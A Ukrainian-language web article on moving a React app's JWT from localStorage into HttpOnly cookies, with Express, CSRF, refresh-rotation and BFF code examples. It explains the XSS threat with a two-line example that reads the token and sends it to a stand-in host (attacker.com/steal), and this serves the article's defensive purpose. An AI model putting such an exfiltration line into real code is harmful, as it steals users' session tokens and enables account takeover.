Головна / Статті

Перенесіть JWT додатку React з localStorage у HttpOnly-куки.

Дізнайтеся, чому JWT у localStorage піддаються атакам типу XSS, як HttpOnly-куки з параметрами SameSite та ротацією, а також використання BFF зменшують ризик, і які проблеми залишаються у додатках на React.

Видавець: REACTAPP.TOP9 хв читання2123 слів

Джерела: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

Місце зберігання токена доступу в додатку React визначає, скільки може коштувати одна помилка типу крос-сайт скріптінг. JWT у localStorage може бути прочитаний та викрадений будь-яким скриптом на сторінці; JWT у cookie з атрибутом HttpOnly — ні, хоча це створює інші проблеми, пов’язані з підробкою запитів між сайтами. Нижче наведено порівняння обох варіантів, налаштування з використанням cookie та бекенду Express, а також методи ротації токенів, захисту від CSRF та підходу Backend-for-Frontend, які доповнюють цю структуру.

Два варіанти зберігання, два моделі загроз

Браузер не розрізняє власні скрипти користувача та ті, що були вставлені ззовні, тому два типові місця зберігання JWT функціонують по-різному:

  • localStorage може бути прочитаний будь-яким JavaScript на цьому домені. Основною загрозою є XSS; способами захисту є суворі правила CSP та обробка даних.
  • HttpOnly-кукі надсилаються браузером та є невидимими для JavaScript. Загрозою є CSRF; засобами захисту є параметри SameSite та токени CSRF.
  • Чому localStorage перетворює XSS на захоплення облікового запису

    Будь-який скрипт, який виконується на вашому домені, потребує двох кроків для крадіжки токена:

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    Вставлений код потрапляє до проектів React через більше шляхів, ніж очікують команди:

    • dangerouslySetInnerHTML із контентом, який ви не контролюєте.
    • Підвернуті пакети npm, як у інцидентах з event-stream та ua-parser-js.
    • Змінені скрипти з зовнішніх CDN.
    • Інструменти для форматування Markdown, які ігнорують процедуру очищення.
    • Розширення браузера, які вставляють код у сторінку.

    JSX ескейпує вставлені рядки, але цей захист зникає як тільки код вимикає цю функцію, зазвичай для відображення біоінформації чи тексту з розширеними форматами:

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    Інструменти для очищення допомагають, проте існують способи їх обійти. Для прикладу ось знайомий клієнт localStorage: функції для зберігання та читання токена, а також обгортка, яка додає заголовок Bearer.

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    Це просто, і зробити цей підхід стійким до XSS неможливо, оскільки конструкція вимагає використання JavaScript для читання токена.

    HttpOnly-кукі як стандарт

    Сервер встановлює куку, і кожен з її атрибутів усуває певну проблему:

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly приховує її від document.cookie та будь-якого доступу з боку скриптів.
    • Secure обмежує її використання лише HTTPS.
    • SameSite=Strict заважає браузеру додавати її до запитів, ініційованих іншими сайтами.
  • Max-Age=900 надає токену доступу термін дії у 15 хвилин.
  • Клієнт більше не взаємодіє з токеном

    React відмовляється від допоміжних засобів для зберігання та заголовків. Ключовою є рядок credentials: 'include', який змушує fetch надсилати кукі. У випадку коду 401 обгортка оновлює та повторює запит або перенаправляє на вход.

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    У продакшені обмежте кількість спроб повторного запиту однією, щоб оновлення, яке „вдається“, коли API все ще повертає 401, не могло безкінечно повторюватися, а також щоб одне поточне оновлення могло використовуватися при одночасних помилках, як описано у рішенні щодо одного поточного оновлення.

    Сторона Express

    Під час входу сервер створює токен доступу на 15 хвилин та токен оновлення на 7 днів із окремими секретами, зберігає хеш токена оновлення та встановлює обидва куки. Кукя оновлення використовує path: '/auth/refresh', тож вона надсилається лише до цього кінцевого пункту. Обробник оновлення перевіряє JWT, порівнює його з збереженим хешем за допомогою bcrypt та видає нову кукю доступу.

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    Перед повторним використанням: імпортуйте bcrypt; зверніть увагу, що токен оновлення має жорстко встановлений параметр secure: true, тоді як під час входу перевіряється значення з середовища; крім того, res.clearCookie('refresh_token') також має передавати path: '/auth/refresh', інакше кукя насправді не буде видалена.

    CSRF у світі SameSite

    CSRF скористовується тим, що кукі автоматично передаються. Параметр SameSite виправляє більшість проблем у браузері, а браузери на основі Chromium розглядають кукі без цього атрибута як Lax. Для SPA:

    • Виберіть Strict, коли фронтенд та API мають спільний домен.
    • Виберіть Lax, коли користувачі потрапляють через зовнішні посилання та мають увійти під час першого переходу.
    • Уникайте None, якщо вам справді не потрібні кукі між сайтами та ви розумієте наслідки.

    „Site“ означає зареєстрований домен, тож пошкоджений піддомен все одно вважається тим самим сайтом.

    Додавання токена подвійної перевірки

    Для подвійної захисту сервер встановлює випадкове значення у читабельній куці, React копіює його у заголовок X-CSRF-Token, а сервер відхиляє запити, у яких ці значення відрізняються.

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    Сторінка-фальсифікатор не може читати ваші куки через правило одного походження, тому не може створити відповідний заголовок. За наявності параметра SameSite=Strict та суворих правил CORS це часто є зайвим, але це ефективний захист від неправильної налаштування.

    Обертання токенів оновлення та виявлення їх повторного використання

    Короткі токени доступу разом із довшими токенами оновлення є стандартною практикою, але вкрадений токен оновлення все одно дозволяє отримувати доступ протягом кількох днів. Завдяки механізму обертання кожне оновлення генерує новий токен оновлення та анулює старий; якщо відсторонений токен знову з’являється, це означає, що хтось намагається використати його знову, і безпечною реакцією буде скасування всіх сесій цього облікового запису.

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    Спочатку виправте одну помилку: у блоку if (!user) код викликає функцію revokeAllUserTokens(user.id) з параметром null. Для справжнього виявлення повторного використання необхідно знайти власника токена, який вже був анульований, зазвичай за допомогою запису „родини токенів“. Можуть виникати хибні позитивні результати, коли два вкладки оновлюються одночасно; корисним буде короткий період толерантності. У посібнику з стратегії оновлення токенів детальніше розглядається серверна частина.

    Зберігання токенів не на клієнті за допомогою BFF

    Backend-for-Frontend — це простий сервер, який знаходиться між React та справжньою API:

    React App → BFF (Next.js API routes / Express) → Actual API
    

    Він виконує процеси OAuth (Authorization Code з PKCE), зберігає токени у зашифрованих куках типу HttpOnly, обробляє CSRF та усуває більшість налаштувань CORS, оскільки браузер викликає лише свій власний домен. У Next.js обробник маршруту може передати облікові дані до сервісу автентифікації та перетворити повернутий токен на куку:

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    Повна версія також зберігатиме токен оновлення та перевірятиме authRes.ok перед обробкою даних. BFF підходить, коли використовується OAuth від сторонніх постачальників, таких як Google чи GitHub, API знаходиться на іншому домені, ви хочете вивести логіку автентифікації за межі пакету або ви вже використовуєте Next.js.

    Вибір налаштувань

    Для більшості SPA з однаковим доменом це є базовим варіантом:

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    Для API між доменами чи мобільних клієнтів localStorage є прийнятним лише у разі, якщо ви готові прийняти ризик XSS та компенсувати його:

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    Для найсуворіших вимог чи корпоративних протоколів BFF видаляє токени з браузера:

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    Чек-лист для автентифікації на основі куки

    • Позначте куки автентифікації як HttpOnly, Secure та SameSite=Strict.
    • Тримайте токени доступу протягом 5–15 хвилин.
    • Змінюйте токени оновлення з функцією виявлення повторного використання.
    • Надсилайте параметр credentials: 'include' у кожному запиті fetch чи axios.
    • Поєднуйте Access-Control-Allow-Credentials: true з конкретним джерелом.
    • Не включайте куки до журналів та звітів про аналітику.
    • Очищуйте куки на серверній стороні у ендпоїнті /logout, за бажанням з використанням параметра Clear-Site-Data: "cookies".
    • У будь-якому разі використовуйте Політику безпеки контенту.

    Зміцнена відповідь може містити такі заголовки:

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    Підсумок

    Cookies з атрибутом HttpOnly не роблять XSS безневинним: вставлений скрипт все одно може надсилати авторизовані запити поки сторінка відкрита. Однак він не може забрати токен та використати його в іншому місці. Саме ця різниця, разом із коротким терміном дії та їх ротацією, робить cookies правильним стандартом для веб-додатків, проте разом із ними все одно необхідний механізм CSP. Проблему CSRF переважно вирішують атрибут SameSite та необов’язковий додатковий токен для підтвердження, тоді як XSS залишається постійною загрозою у коді React, що сильно залежить від сторонніх бібліотек. Якщо міждоменна автентифікація ускладнює використання cookies, краще створити невеликий BFF, аніж вдаватися до localStorage.